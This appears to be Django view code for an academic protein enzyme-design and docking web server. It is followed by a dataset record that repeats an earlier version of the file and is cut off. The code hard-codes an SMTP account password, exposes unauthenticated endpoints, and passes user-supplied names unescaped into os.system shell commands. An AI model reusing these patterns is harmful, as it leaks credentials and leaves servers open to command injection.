:param pov_radius:
:param pH:
:param mutation_info_list:
:param protein:
:param ligand_name:
:param ligand_resseq:
:param chain_id:
:return:
"""
current_time = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime())
print current_time
log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'log')
wild_protein_name = protein.name
# job_dir = os.path.join(log_dir, job_name + '_' + current_time)
job_dir = os.path.join(log_dir, job_name)
if not os.path.exists(job_dir):
os.mkdir(job_dir)
wild_protein_file = os.path.join(job_dir, wild_protein_name)
protein_str = protein.read()
prep_dock.save_to_file(wild_protein_file, protein_str)
prepare_protein_name = wild_protein_name.split('.')[0] + '_prep.pdb'
### Prepare protein
prep_dock.prep_protein(wild_protein_name, prepare_protein_name, job_dir, pH)
### make mutation
prep_dock.get_mut_protein(job_dir, job_name, mut_info_list=mutation_info_list, mutation_radius=mutation_radius,
prepare_protein_name=prepare_protein_name)
prepare_protein = os.path.join(job_dir, prepare_protein_name)
mutation_protein_name = job_name + '_mut-2.pdb'
mutation_protein = os.path.join(job_dir, mutation_protein_name)
### prep_pov
prep_dock.get_pro_lig_povin((prepare_protein_name, prepare_protein, chain_id, ligand_resseq, ligand_name), pov_radius, protein_type='prep')
prep_pov = os.path.join(job_dir, 'pov', 'prep', 'prep.log')
### mut_pov
prep_dock.get_pro_lig_povin((mutation_protein_name, mutation_protein, chain_id, ligand_resseq, ligand_name), pov_radius, protein_type='mut')
mut_pov = os.path.join(job_dir, 'pov', 'mut', 'mut.log')
### plip
# prep_dock.get_plip_file(prepare_protein, mutation_protein)
### TMalign
# prep_dock.TMalign(prepare_protein, mutation_protein)
onlinedock, create = Onlinedock.objects.get_or_create(job_name=job_name)
prep_protein_file = File(open(prepare_protein))
mut_protein_file = File(open(mutation_protein))
prep_pov_file = File(open(prep_pov))
mut_pov_file = File(open(mut_pov))
prep_pov_value = get_pov_value(prep_pov)
mut_pov_value = get_pov_value(mut_pov)
onlinedock.prep_protein.save(prepare_protein_name, prep_protein_file)
onlinedock.mut_protein.save(mutation_protein_name, mut_protein_file)
onlinedock.prep_pov.save('prep.log', prep_pov_file)
onlinedock.mut_pov.save('mut.log', mut_pov_file)
onlinedock.prep_pov_value = prep_pov_value
onlinedock.mut_pov_value = mut_pov_value
onlinedock.save()
os.chdir(job_dir)
os.system('zip related_info ' + prepare_protein + ' ' + mutation_protein + ' ' + prep_pov + ' ' + mut_pov)
email_content = "Wellcome to Jianping Lin Group server~~"
print(os.path.curdir)
related_info = os.path.join(os.path.curdir, 'related_info.zip')
send_file_zipped(related_info, email_addr, email_content=email_content)
def test():
job_dir = '/home/jianping/django_test/longge/polls/log/1111/pov'
# job_id = 0
@api_view(['POST'])
@permission_classes([permissions.AllowAny])
def online_docking(request):
# current_time = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime())
# print current_time
# log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'log')
job_name = request.data['job_name']
mutation_radius = request.data['mutation_radius'] ### mutation radius
pov_radius = str(request.data['pov_radius']) ### povelty radius
pH = request.data['pH']
mutation_info_list = request.data['mutation_info_list'] ### [chain, position, residue, ]
protein = request.data['protein_file']
ligand_name = request.data['ligand_name']
ligand_resseq = int(request.data['ligand_resseq'])
chain_id = request.data['chain_id']
email_addr = request.data['email_addr']
# main(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr)
t = threading.Thread(target=main, args=(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr))
t.setDaemon(False)
t.start()
return Response('Conguratulations, you have submitted successfully!!!')
@api_view(['POST'])
@permission_classes([permissions.AllowAny])
def prepare_protein(request):
job_name = request.data['job_name']
protein = request.data['protein']
job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')
work_dir = os.path.join(job_dir, job_name)
if not os.path.exists(work_dir):
os.mkdir(work_dir)
protein_name, protein_name_pure = protein.name, protein.name.split('.')[0]
local_protein_file = os.path.join(work_dir, protein_name)
protein_str = protein.read()
prep_dock.save_to_file(local_protein_file, protein_str)
os.chdir(work_dir)
protein_renumber_name, protein_renumber = protein_name_pure + '_renumber', protein_name_pure + '_renumber.pdb'
os.system(
'python ../../rosetta_workflow_all_scripts/PDB_renumber.py -i ' + protein_name + ' -a -r > ' + protein_renumber_name + '.pdb')
params, create = SubmitParamter.objects.get_or_create(job_name=job_name)
prt = File(open(local_protein_file))
prt_renumber = File(open(protein_renumber))
params.protein_file.save(protein_name, prt)
params.protein_renumber_file.save(protein_renumber, prt_renumber)
params.save()
# return Response(params)
serializer = SubmitParamsSerializer(params)
return JsonResponse(serializer.data, safe=False)
# return Response('Successfully')
@api_view(['POST'])
@permission_classes([permissions.AllowAny])
def first_step(request):
job_name = request.data['job_name']
# protein = request.data['protein']
ligand = request.data['ligand']
other_ligands = request.data['other_ligands'] ### ['A','215','MG','A','218','HOH','A','217','ATP']
other_ligands = other_ligands.split('[')[1].split(']')[0].split(',')
other_ligands = [str(i) for i in other_ligands]
res_chain = request.data['res_chain'] # 'A'
res_ligand_chain = request.data['res_ligand_chain'] ## 'A'
res_ligand_ID = request.data['res_ligand_ID'] ### '216'
res_ligand_name = request.data['res_ligand_name'] ### 'PRP'
# design_ligand_name = request.data['design_ligand_name'] ### 'ABC'
### third step ###
# CST_A_chain_name = request.data['CST_A_chain_name']
current_time = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime())
print current_time
job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')
work_dir = os.path.join(job_dir, job_name)
if not os.path.exists(work_dir):
os.mkdir(work_dir)
# protein_name, protein_name_pure = protein.name, protein.name.split('.')[0]
# local_protein_file = os.path.join(work_dir, protein_name)
# protein_str = protein.read()
# prep_dock.save_to_file(local_protein_file, protein_str)
ligand_name, ligand_name_pure = ligand.name, ligand.name.split('.')[0]
local_ligand_file = os.path.join(work_dir, ligand_name)
ligand_str = ligand.read()
prep_dock.save_to_file(local_ligand_file, ligand_str)
os.chdir(work_dir)
# protein_renumber_name, protein_renumber = protein_name_pure + '_renumber', protein_name_pure + '_renumber.pdb'
# os.system('python ../../rosetta_workflow_all_scripts/PDB_renumber.py -i ' + protein_name + ' -a -r > ' + protein_renumber_name + '.pdb')
os.system('python ../../rosetta_workflow_all_scripts/design_ligand_prep.py ' + ligand_name)
while True:
if os.path.exists(ligand_name_pure+'.params'):
break
os.system('cp ../../rosetta_workflow_all_scripts/match.flags ./')
os.system('cp ../../rosetta_workflow_all_scripts/match_grid.flags ./')
for filename in os.listdir(work_dir):
if filename.endswith('renumber.pdb'):
protein_renumber_name = filename.split('.pdb')[0]
protein_renumber = filename
break
prep_pdb, prep_pdb_pure = protein_renumber_name + '_prep.pdb', protein_renumber_name + '_prep'
rosetta_protein_prep.prep_protein(protein_renumber, prep_pdb, res_chain, './')
rosetta_protein_prep.get_ligand(prep_pdb, res_ligand_chain, res_ligand_ID, res_ligand_name)
### my code ###
step = 3
other_ligands_class_list = [other_ligands[i: i+step] for i in range(0, len(other_ligands), step)]
os.system('cp ' + protein_renumber_name + '_chain' + res_chain + '.pdb combi_ligands.pdb')
if len(other_ligands) < 3:
print 'There are no ligands that need to be retained'
# os.system('cp ' + protein_renumber_name + '_chain' + res_chain + '.pdb combi_ligands.pdb')
else:
i = 0
for cls in other_ligands_class_list:
combi_name = '_'.join(cls)
print combi_name
rosetta_protein_prep.get_ligand(protein_renumber, cls[0], cls[1], cls[2])
last_out_name = protein_renumber_name + '_chain' + combi_name + '.pdb'
last_out_name_mol2 = protein_renumber_name + '_chain' + combi_name + '.mol2'
rosetta_protein_prep.combi_pdb('combi_ligands.pdb', last_out_name)
if cls[2] != 'HOH' and len(cls[2]) == 3:
i += 1
os.system('obabel -ipdb ' + last_out_name + ' -omol2 -O ' + last_out_name_mol2)
os.system('python /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/scripts/python/public/molfile_to_params.py ' + last_out_name_mol2 + '-n LG' + str(i))
os.system("sed -i '/^TER/c'TER'' combi_ligands.pdb")
rosetta_protein_prep.get_grid('../../rosetta_workflow_all_scripts/match_grid.flags', prep_pdb_pure, res_chain, res_ligand_chain, res_ligand_ID, res_ligand_name)
rosetta_protein_prep.get_match_flags('../../rosetta_workflow_all_scripts/match.flags', res_chain, 'ABC', prep_pdb_pure, ligand_name_pure)
os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/gen_lig_grids.linuxgccrelease -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database @match_grid_out.flags')
os.system('cp ' + protein_renumber + ' ./renumber.pdb')
### update database ###
# params, created = SubmitParamter.objects.get_or_create(
# job_name=job_name,
# other_ligands=other_ligands,
# res_chain=res_chain,
# res_ligand_chain=res_ligand_chain,
# res_ligand_name=res_ligand_name
# )
params = SubmitParamter.objects.get(job_name=job_name)
params.other_ligands = other_ligands
params.res_chain = res_chain
params.res_ligand_chain = res_ligand_chain
params.res_ligand_name = res_ligand_name
# prt = File(open(local_protein_file))
lgd = File(open(local_ligand_file))
# prt_renumber = File(open(protein_renumber))
ligand_params_file = File(open(ligand_name_pure+'.params'))
pos_file = os.path.join('./inputs', prep_pdb_pure+'_chain'+res_chain+'.pdb_0.pos')
pos_file_name = prep_pdb_pure+'_chain'+res_chain+'.pdb_0.pos'
inputs_pos_file = File(open(pos_file))
# params.protein_file.save(protein_name, prt)
params.ligand_file.save(ligand_name, lgd)
# params.protein_renumber_file.save(protein_renumber, prt_renumber)
params.ligand_params_file.save(ligand_name_pure+'.params', ligand_params_file)
params.inputs_pos_file.save(pos_file_name, inputs_pos_file)
params.save()
serializer = SubmitParamsSerializer(params)
return JsonResponse(serializer.data, safe=False)
# return Response('Successful')
@api_view(['POST'])
@permission_classes([permissions.AllowAny])
def second_step(request):
job_name = request.data['job_name']
constrain_info = request.data['constrain_info'] ### A:216:PRP:O2B:PB:O3A:A:131:ASP:OD2:CG:CB-O2B:PB:O3A-0.20:10.0:10.0:10.0:10.0:10.0-100.0:60.0:60.0:60.0:60.0:60.0-0:360.0:360.0:360.0:360.0:360.0-1:1:1:1:1:1, or A:216:PRP:O2B:PB:O3A:A:131:ASP:OD2:CG:CB-type:OH
cat_ID = request.data['cat_ID']
# cst1 = request.data['cst1']
# cst2 = request.data['cst2']
# cst3 = request.data['cst3']
# three_atoms = request.data['three_atoms'] ### O2B:PB:O3A, type:OH
# CST_A_chain_name = request.data['CST_A_chain_name'] ### 'A'
# CST_A_residue_ID = int(request.data['CST_A_residue_ID']) ### '216'
# CST_A_residue_name = request.data['CST_A_residue_name'] ### 'PRP'
# Atom_A1 = request.data['Atom_A1'] ### 'O2B'
# Atom_A2 = request.data['Atom_A2'] ### 'PB'
# Atom_A3 = request.data['Atom_A3'] ### 'O3A'
# CST_B_chain_name = request.data['CST_B_chain_name'] ### 'A'
# CST_B_residue_ID = int(request.data['CST_B_residue_ID']) ### '131'
# CST_B_residue_name = request.data['CST_B_residue_name'] ### 'ASP'
# Atom_B1 = request.data['Atom_B1'] ### 'OD2'
# Atom_B2 = request.data['Atom_B2'] ### 'CG'
# Atom_B3 = request.data['Atom_B3'] ### 'CB'
renumber_pdb = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design', job_name, 'renumber.pdb')
work_dir = os.path.dirname(renumber_pdb)
os.chdir(work_dir)
### my code ###
#_______________________________________________________________
constrain_info_list = [cst.split('-') for cst in constrain_info.split(',') if cst is not '']
# for constrain_info in constrain_info_list:
# if len(constrain_info) == 2:
parse = PDBParser(PERMISSIVE=1)
structure = parse.get_structure('renumber.pdb', renumber_pdb)
w = open('match.cst', 'w')
w.write('# cst constraint descriptior for renumber.pdb' + '\n\n\n')
w.write('# NOTE\n\n\n')
for idx, cst_info in enumerate(constrain_info_list):
cst_result = get_cst_file.measure_dist_angle_dihe_new(structure, idx, cst_info)
w.writelines(cst_result)
w.close()
# get_cst_file.measure_dist_angle_dihe(renumber_pdb, 'renumber.pdb', constrain_info_list, 'match.cst')
# ____________________________________________________________
# get_cst_file.measure_dist_angle_dihe(renumber_pdb, 'renumber.pdb', [(CST_A_chain_name, CST_A_residue_ID, CST_A_residue_name,
# Atom_A1, Atom_A2, Atom_A3, CST_B_chain_name,
# CST_B_residue_ID, CST_B_residue_name, Atom_B1,
# Atom_B2, Atom_B3), ], 'match.cst')
os.system('cp match.cst ./inputs')
inputs_dir = os.path.join(work_dir, 'inputs')
os.chdir(inputs_dir)
for filename in os.listdir(inputs_dir):
if filename.endswith('_0.pos'):
pos = os.path.join(inputs_dir, filename)
os.system('cp ' + pos + ' ./pos.bk')
change_pos.change_pos(filename, cat_ID)
params = SubmitParamter.objects.get(job_name=job_name)
params.constrain_info = constrain_info
params.cat_ID = cat_ID
match_cst_file = File(open('match.cst'))
params.match_cst_file.save('match.cst', match_cst_file)
params.save()
# for filename in os.listdir(inputs_dir):
# if filename.endswith('.params'):
# os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/CstfileToTheozymePDB.linuxgccrelease -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database -extra_res_fa ' + filename + ' -match:geometric_constraint_file match.cst')
return Response('Successful')
@api_view(['POST'])
@permission_classes([permissions.AllowAny])
def third_step(request):
job_name = request.data['job_name']
# user_specialized_cst_file = request.data['user_specialized_cst_file']
job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')
work_dir = os.path.join(job_dir, job_name)
os.chdir(work_dir)
# if user_specialized_cst_file:
# cst_str = user_specialized_cst_file.read()
# user_defined_cst_file = os.path.join(work_dir, 'inputs', 'match.cst')
# prep_dock.save_to_file(user_defined_cst_file, cst_str)
try:
cst_file = request.data['cst_file']
cst_str = cst_file.read()
user_defined_cst_file = os.path.join(work_dir, 'inputs', 'match.cst')
prep_dock.save_to_file(user_defined_cst_file, cst_str)
params = SubmitParamter.objects.get(job_name=job_name)
new_cst_file = File(open(user_defined_cst_file))
params.user_defined_cst_file.save('match.cst', new_cst_file)
params.save()
except MultiValueDictKeyError:
pass
try:
os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/match.linuxgccrelease @match_out.flags -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database')
# params = SubmitParamter.objects.get(job_name=job_name)
# UM_pdb_list = []
# for filename in os.listdir(os.path.join(work_dir, 'inputs')):
# if filename.startswith('UM'):
# file = os.path.join(work_dir, 'inputs', filename)
# UM_pdb = File(open(file))
UM_pdb_list = [filename for filename in os.listdir(os.path.join(work_dir, 'inputs')) if filename.startswith('UM')]
params.UM_pdb_count = len(UM_pdb_list)
params.save()
# return Response('Successful, there are {} UM***.pdb'.format(len(UM_pdb_list)))
serializer = SubmitParamsSerializer(params)
return JsonResponse(serializer.data, safe=False)
except:
return Response('Failed, please check the constraint file and submit again !!!')
from functools import wraps
def timethis(func):
@wraps(func)
def wrapper(*args, **kwargs):
start = time.time()
result = func(*args, **kwargs)
end = time.time()
print(func.__name__, end-start)
return result
return wrapper
@timethis
def design_comand(match_file):
command = "/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/enzyme_design.linuxgccrelease @design_out.flags -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database -s "+ match_file + " -out:file:o " + match_file + "_DE.out > " + match_file + "_design.log"
os.system(command)
# def get_design_params(ligand_name, params=('6.0', '8.0', '10.0', '12.0', '5')):
# # """
# # :param ligand_name:
# # :param params: (6.0, 8.0, 10, 12.0, 5)
# # :return:
# # """
# # command = ''
# # os.system(command)
from functools import partial
def get_design_params(ligand_name, params=None): ### ligand_name not startswith('LG') endswith('params')
if params is None:
params = ('6.0', '8.0', '10.0', '12.0', '5')
return partial(get_design_params, ligand_name)(params)
# command = ''
command = "sed -e 's/res_ligand_params_file/design_" + ligand_name + ".params/g' -e 's/enz_score.out/enz_score_" + ligand_name + ".out/g' -e 's/-cut1 6.0/-cut1 " + params[0] + "/g' -e 's/-cut2 10.0/-cut2 " + params[1] + "/g' -e 's/-cut3 15.0/-cut3 " + params[2] + "/g' -e 's/-cut4 20.0/-cut4 " + params[3] + "/g' -e 's/-nstruct 5/-nstruct " + params[4] + "/g' design.flags > design_out.flags"
os.system(command)
def send_email(email_addr, email_content, result_file):
host_server = 'smtp.qq.com'
sender_mail_addr = '[email protected]'
pwd = 'utxfxpzcpsnzbbcc'
receiver_mail_addr = email_addr
mail_content = email_content
mail_title = "JianpingLin's email"
msg = MIMEMultipart()
msg['Subject'] = Header(mail_title, 'utf-8')
msg['From'] = sender_mail_addr
msg['To'] = Header('Receiver', 'utf-8')
msg.attach(MIMEText(mail_content, 'html', 'utf-8'))
# att1 = MIMEText(open(result_file).read(), 'base64', 'utf-8')
att1 = MIMEText(open(result_file).read(), 'base64')
# import zipfile
# att1 = MIMEText(zipfile.ZipFile(result_file), 'base64', 'utf-8')
att1['Content-Type'] = 'application/octet-stream'
att1['Content-Disposition'] = 'attachment; filename="match_design.tar.gz"'
msg.attach(att1)
smtp = SMTP_SSL(host_server)
smtp.set_debuglevel(1)
smtp.ehlo(host_server)
smtp.login(sender_mail_addr, pwd)
smtp.sendmail(sender_mail_addr, receiver_mail_addr, msg.as_string())
smtp.quit()
@api_view(['POST'])
@permission_classes([permissions.AllowAny])
def fourth_step(request):
job_name = request.data['job_name']
design_mini_range = request.data['design_mini_range']###
user_email = request.data['user_email']
# design_cst = request.data['design_cst']
job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')
work_dir = os.path.join(job_dir, job_name)
os.chdir(work_dir)
for filename in os.listdir(work_dir): ### ligand_name 必须是提交的mol2,不应该是LG.mol2
if filename.endswith('params') and not filename.startswith('LG'):
ligand_name = filename.split('.params')[0]
break
match_design_dir = os.path.join(work_dir, 'match_design')
if not os.path.exists(match_design_dir):
os.mkdir(match_design_dir)
# if design_cst != '':
# cst_str = design_cst.read()
# user_design_cst_file = os.path.join(work_dir, 'match_design', 'design.cst')
# prep_dock.save_to_file(user_design_cst_file, cst_str)
# else:
#
try:
design_cst = request.data['design_cst']
cst_str = design_cst.read()
user_design_cst_file = os.path.join(work_dir, 'match_design', 'design.cst')
prep_dock.save_to_file(user_design_cst_file, cst_str)
except MultiValueDictKeyError:
os.system('cp ./inputs/match.cst ./match_design/design.cst')
finally:
os.system('mv UM*match*.pdb ./match_design')
os.system('cp ../../rosetta_workflow_all_scripts/design.flags ./')
###To DO###
# command = "sed -e 's/res_ligand_params_file/design_" + ligand_name + ".params/g' -e 's/enz_score.out/enz_score_" + ligand_name + ".out/g' design.flags > design_out.flags"
# get_design_params(ligand_name, tuple(design_mini_range.split(';')))
####TO DO###
# os.system(command)
if design_mini_range != '':
#design_mini_range = req0uest.data['design_mini_range']
tpl_mini_range = tuple(design_mini_range.split(';'))
if len(tpl_mini_range) != 5:
return Response('Please check that the "Designable Range, Repackable Range and Number of Outputs" exists.')
else:
get_design_params(ligand_name, tpl_mini_range)
else:
get_design_params(ligand_name)
os.system("sed -r '/^PDB_ROTAMERS/d' " + ligand_name + ".params > match_design/design_" + ligand_name + ".params")
os.system('cp design_out.flags ./match_design')
match_dir = os.path.join(work_dir, 'match_design')
os.chdir(match_dir)
match_file_list = [filename for filename in os.listdir(match_dir) if filename.startswith('UM')]
# design_comand(match_file_list[0])
###Post user###
# pool = mul.Pool(5)
# pool.map(design_comand, match_file_list)
# pool.close()
# pool.join()
design_analysis.design_score(ligand_name, './')
params = SubmitParamter.objects.get(job_name=job_name)
params.user_email = user_email
design_ligandname_out = 'design_' + ligand_name.split('.')[0] + '.out'
file = File(open(design_ligandname_out))
params.design_ligand_name_out.save(design_ligandname_out, file)
params.save()
# os.chdir(work_dir)
# os.system('zip -r match_design.zip match_design')
# os.system('tar czvf match_design.tar.gz UM*DE*.pdb')
os.system('zip match_design UM*DE*.pdb ' + design_ligandname_out)
email_content = "Welcome to Jianping Lin's group"
match_design_file = os.path.join('./', 'match_design.zip')
# send_email(email_addr=user_email, email_content=email_content, result_file=design_ligandname_out)
# send_email(email_addr=user_email, email_content=email_content, result_file=match_design_file)
# send_file_zipped(design_ligandname_out, ['[email protected]'])
send_file_zipped(match_design_file, user_email, email_content=email_content)
serializer = SubmitParamsSerializer(params)
return JsonResponse(serializer.data, safe=False)
# return Response('Successfully, this process needs ')
def get_analysis_params_dic(params):
dic = {}
temp_list = params.split(',')
for param in temp_list:
name, value = param.split(':')
dic[name] = value
return dic
@api_view(['POST'])
@permission_classes([permissions.AllowAny])
def fifth_step(request):
job_name = request.data['job_name']
analysis_params = request.data['analysis_params'] ### all_cst value < 0.9\nSR_2_interf_E_1_5:-9,
# analysis_dict = get_analysis_params_dic(analysis_params) ### {all_cst:0.9, SR_2_interf_E_1_5:-9}
job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')
work_dir = os.path.join(job_dir, job_name)
os.chdir(work_dir)
for filename in os.listdir(work_dir):
if filename.endswith('params') and not filename.startswith('LG'):
ligand_name = filename.split('.params')[0]
break
match_dir = os.path.join(work_dir, 'match_design')
os.chdir(match_dir)
design_analysis.design_filter(ligand_name, analysis_params.strip())
# design_analysis.design_score(ligand_name, './')
analysis_command = 'perl /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/src/apps/public/enzdes/DesignSelect.pl -d ' + 'design_'+ligand_name+'.out' + ' -c ' + 'design_'+ligand_name+'.filter' + ' -tag_column last > filtered_designs_' + ligand_name +'.out'
print analysis_command
os.system(analysis_command)
# serializer = SubmitParamsSerializer(params)
# return JsonResponse(serializer.data, safe=False)
return Response('Successfully')
class SubmitParamsViewSet(viewsets.DynamicModelViewSet):
queryset = SubmitParamter.objects.all()
serializer_class = serializers.SubmitParamsSerializer
class OnlinedockViewSet(viewsets.DynamicModelViewSet):
queryset = Onlinedock.objects.all()
serializer_class = serializers.OnlinedockSerializer
|
normal
|
{
"blob_id": "8c6b7f29b8dca61a5218b51c85149c9642af5649",
"index": 6665,
"step-1": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom dynamic_rest import viewsets\nfrom django.shortcuts import render\nimport os\nfrom rest_framework import permissions\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.decorators import api_view, permission_classes, detail_route, list_route\nfrom rest_framework import mixins\nfrom rdkit import Chem\nimport random\nfrom Bio.PDB.PDBParser import PDBParser\nimport time\nfrom Bio.PDB.PDBIO import PDBIO\nimport residues_scanning_command\nimport prep_dock\nimport threading\nfrom rosetta_workflow_all_scripts import rosetta_protein_prep, get_cst_file, change_pos, design_analysis\nimport rosetta_workflow_all_scripts\nfrom django.utils.datastructures import MultiValueDictKeyError\nimport multiprocessing as mul\nimport time\nfrom models import SubmitParamter, Onlinedock\nfrom django.core.files import File\nfrom email.mime.text import MIMEText\nfrom email.header import Header\nfrom smtplib import SMTP_SSL\nfrom email.mime.multipart import MIMEMultipart\nfrom email import encoders\nfrom email.message import Message\nfrom email.mime.base import MIMEBase\nfrom dynamic_rest import viewsets\nimport serializers\nfrom rest_framework.parsers import JSONParser\nfrom polls.serializers import SubmitParamsSerializer, OnlinedockSerializer\nfrom django.http import JsonResponse\n\nimport zipfile\nimport tempfile\ndef send_file_zipped(the_file, recipients, email_content, sender='[email protected]'):\n zf = tempfile.TemporaryFile(prefix='mail', suffix='zip')\n zip = zipfile.ZipFile(zf, 'w')\n zip.write(the_file)\n zip.close()\n zf.seek(0)\n\n ### Create the message\n themsg = MIMEMultipart()\n themsg['Subject'] = 'File %s' % the_file\n themsg['To'] = ', '.join(recipients)\n themsg['From'] = sender\n themsg.attach(MIMEText(email_content, 'html', 'utf-8'))\n themsg.preamble = 'I am not using a MIME-aware mail reader.\\n'\n msg = MIMEBase('application', 'zip')\n msg.set_payload(zf.read())\n encoders.encode_base64(msg)\n msg.add_header('Content-Disposition', 'attachment', filename=the_file)\n themsg.attach(msg)\n themsg = themsg.as_string()\n\n ### Send the message\n import smtplib\n host_server = 'smtp.qq.com'\n sender_mail_addr = '[email protected]'\n pwd = 'utxfxpzcpsnzbbcc'\n\n smtp = SMTP_SSL(host_server)\n smtp.set_debuglevel(1)\n smtp.ehlo(host_server)\n smtp.login(sender_mail_addr, pwd)\n smtp.sendmail(sender, recipients, themsg)\n smtp.quit()\n\n # smtp = smtplib.SMTP()\n # smtp.connect()\n # smtp.sendmail(sender, recipients, themsg)\n # smtp.close()\ndef get_pov_value(file):\n f = open(file)\n lines = f.readlines()\n f.close()\n for line in lines:\n if line.startswith('1'):\n value = float(line.split('|')[1].strip())\n return value\n\ndef main(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr):\n \"\"\"\n :param job_name:\n :param mutation_radius:\n :param pov_radius:\n :param pH:\n :param mutation_info_list:\n :param protein:\n :param ligand_name:\n :param ligand_resseq:\n :param chain_id:\n :return:\n \"\"\"\n current_time = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime())\n print current_time\n log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'log')\n wild_protein_name = protein.name\n # job_dir = os.path.join(log_dir, job_name + '_' + current_time)\n job_dir = os.path.join(log_dir, job_name)\n if not os.path.exists(job_dir):\n os.mkdir(job_dir)\n wild_protein_file = os.path.join(job_dir, wild_protein_name)\n protein_str = protein.read()\n prep_dock.save_to_file(wild_protein_file, protein_str)\n\n prepare_protein_name = wild_protein_name.split('.')[0] + '_prep.pdb'\n\n ### Prepare protein\n prep_dock.prep_protein(wild_protein_name, prepare_protein_name, job_dir, pH)\n\n ### make mutation\n prep_dock.get_mut_protein(job_dir, job_name, mut_info_list=mutation_info_list, mutation_radius=mutation_radius,\n prepare_protein_name=prepare_protein_name)\n\n prepare_protein = os.path.join(job_dir, prepare_protein_name)\n mutation_protein_name = job_name + '_mut-2.pdb'\n mutation_protein = os.path.join(job_dir, mutation_protein_name)\n ### prep_pov\n prep_dock.get_pro_lig_povin((prepare_protein_name, prepare_protein, chain_id, ligand_resseq, ligand_name), pov_radius, protein_type='prep')\n prep_pov = os.path.join(job_dir, 'pov', 'prep', 'prep.log')\n ### mut_pov\n prep_dock.get_pro_lig_povin((mutation_protein_name, mutation_protein, chain_id, ligand_resseq, ligand_name), pov_radius, protein_type='mut')\n mut_pov = os.path.join(job_dir, 'pov', 'mut', 'mut.log')\n ### plip\n # prep_dock.get_plip_file(prepare_protein, mutation_protein)\n ### TMalign\n # prep_dock.TMalign(prepare_protein, mutation_protein)\n\n onlinedock, create = Onlinedock.objects.get_or_create(job_name=job_name)\n prep_protein_file = File(open(prepare_protein))\n mut_protein_file = File(open(mutation_protein))\n prep_pov_file = File(open(prep_pov))\n mut_pov_file = File(open(mut_pov))\n\n prep_pov_value = get_pov_value(prep_pov)\n mut_pov_value = get_pov_value(mut_pov)\n\n\n\n\n onlinedock.prep_protein.save(prepare_protein_name, prep_protein_file)\n onlinedock.mut_protein.save(mutation_protein_name, mut_protein_file)\n onlinedock.prep_pov.save('prep.log', prep_pov_file)\n onlinedock.mut_pov.save('mut.log', mut_pov_file)\n onlinedock.prep_pov_value = prep_pov_value\n onlinedock.mut_pov_value = mut_pov_value\n onlinedock.save()\n\n os.chdir(job_dir)\n os.system('zip related_info ' + prepare_protein + ' ' + mutation_protein + ' ' + prep_pov + ' ' + mut_pov)\n email_content = \"Wellcome to Jianping Lin Group server~~\"\n print(os.path.curdir)\n related_info = os.path.join(os.path.curdir, 'related_info.zip')\n send_file_zipped(related_info, email_addr, email_content=email_content)\n\ndef test():\n job_dir = '/home/jianping/django_test/longge/polls/log/1111/pov'\n\n\n# job_id = 0\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef online_docking(request):\n # current_time = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime())\n # print current_time\n # log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'log')\n\n job_name = request.data['job_name']\n mutation_radius = request.data['mutation_radius'] ### mutation radius\n pov_radius = str(request.data['pov_radius']) ### povelty radius\n pH = request.data['pH']\n mutation_info_list = request.data['mutation_info_list'] ### [chain, position, residue, ]\n protein = request.data['protein_file']\n ligand_name = request.data['ligand_name']\n ligand_resseq = int(request.data['ligand_resseq'])\n chain_id = request.data['chain_id']\n email_addr = request.data['email_addr']\n\n # main(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr)\n t = threading.Thread(target=main, args=(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr))\n t.setDaemon(False)\n t.start()\n return Response('Conguratulations, you have submitted successfully!!!')\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef prepare_protein(request):\n job_name = request.data['job_name']\n protein = request.data['protein']\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n work_dir = os.path.join(job_dir, job_name)\n if not os.path.exists(work_dir):\n os.mkdir(work_dir)\n protein_name, protein_name_pure = protein.name, protein.name.split('.')[0]\n local_protein_file = os.path.join(work_dir, protein_name)\n protein_str = protein.read()\n prep_dock.save_to_file(local_protein_file, protein_str)\n\n os.chdir(work_dir)\n protein_renumber_name, protein_renumber = protein_name_pure + '_renumber', protein_name_pure + '_renumber.pdb'\n os.system(\n 'python ../../rosetta_workflow_all_scripts/PDB_renumber.py -i ' + protein_name + ' -a -r > ' + protein_renumber_name + '.pdb')\n params, create = 